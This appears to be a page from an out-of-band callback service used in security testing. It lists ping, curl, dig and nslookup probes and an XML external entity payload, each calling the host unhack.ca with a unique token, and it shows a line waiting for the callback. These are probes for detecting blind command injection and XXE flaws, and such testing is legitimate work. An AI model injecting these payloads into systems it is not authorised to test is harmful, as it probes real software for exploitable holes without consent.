$ ping -c1 -p 001753ea1df79f5da27f434ff9221800 unhack.ca
 
$ curl http://unhack.ca/p/1753ea1df79f5da27f434ff92218
 
$ dig 1753ea1df79f5da27f434ff92218 @unhack.ca
 
$ dig 1753ea1df79f5da27f434ff92218.ns.unhack.ca
 
C:\> nslookup 1753ea1df79f5da27f434ff92218 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1753ea1df79f5da27f434ff92218">]>
    <foo>&xxe;</foo>
Waiting for ping...